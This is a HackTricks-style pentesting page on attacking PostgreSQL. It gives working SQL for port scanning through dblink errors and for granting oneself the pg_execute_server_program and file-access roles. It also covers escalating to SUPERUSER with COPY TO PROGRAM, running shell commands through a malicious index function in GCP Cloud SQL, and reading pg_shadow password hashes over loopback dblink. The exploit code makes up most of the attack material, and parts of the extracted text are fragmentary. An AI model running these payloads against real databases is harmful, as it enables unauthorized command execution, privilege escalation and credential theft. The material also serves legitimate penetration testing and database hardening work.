Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* Host is down
`DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?`
* Port is closed
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* Port is open
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
or
```
DETAIL: FATAL: password authentication failed for user "name"
```
* Port is open or filtered
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
Unfortunately, there does not seem to be a way of getting the exception details within a PL/pgSQL function. But you can get the details if you can connect directly to the PostgreSQL server. If it is not possible to get usernames and passwords directly out of the system tables, the wordlist at- tack described in the previous section might prove successful.
| rolinherit | Role automatically inherits privileges of roles it is a member of |
| rolcreaterole | Role can create more roles |
| rolcreatedb | Role can create databases |
| rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier |
| rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. |
| rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. |
| rolpassword | Not the password (always reads as `********`) |
| rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration |
| rolbypassrls | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. |
| rolconfig | Role-specific defaults for run-time configuration variables |
According to the [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Roles having **`CREATEROLE`** privilege can **grant or revoke membership in any role** that is **not** a **superuser**._
So, if you have **`CREATEROLE`** permission you could grant yourself access to other **roles** (that aren't superuser) that can give you the option to read & write files and execute commands:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Modify Password
Users with this role can also **change** the **passwords** of other **non-superusers**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc to SUPERUSER
It's pretty common to find that **local users can login in PostgreSQL without providing any password**. Therefore, once you have gathered **permissions to execute code** you can abuse these permissions to gran you **`SUPERUSER`** role:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
This is usually possible because of the following lines in the **`pg_hba.conf`** file:
```bash
# "local" is for Unix domain socket connections only
In[ this **writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) is explained how it was possible to **privesc** in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
When you try to **make another user owner of a table** you should get an **error** preventing it, but apparently GCP gave that **option to the not-superuser postgres user** in GCP:
Joining this idea with the fact that when the **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) commands are executed on a **table with an index function**, the **function** is **called** as part of the command with the **table****owner’s permissions**. It's possible to create an index with a function and give owner permissions to a **super user** over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
2. Insert some dummy content to the table, so the index function has something to work with.
3. Create a malicious index function (with our code execution payload) on the table.
4. ALTER the table owner to cloudsqladmin , GCP’s superuser role, used only by Cloud SQL to maintain and manage the database.
5. ANALYZE the table, forcing the PostgreSQL engine to switch user-context to the table's owner ( cloudsqladmin ) and call the malicious index function with the cloudsqladmin permissions, resulting in executing our shell command, which we did not have permission to execute before.
In PostgreSQL, this flow looks something like this:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
```
After executing the exploit SQL query, the `shell_commands_results` table contains the output of the executed code:
Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the **`dblink` function**:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
password=supersecret
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
It's possible to check if this function exists with:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
You can decrypt them using the _**decrypt**_ function inside the script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Client authentication is controlled by a config file frequently named _**pg\_hba.conf**_. This file has a set of records. A record may have one of the following seven formats:
**Each** record **specifies** a **connection type**, a **client IP address range** (if relevant for the connection type), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.\
The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid.
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\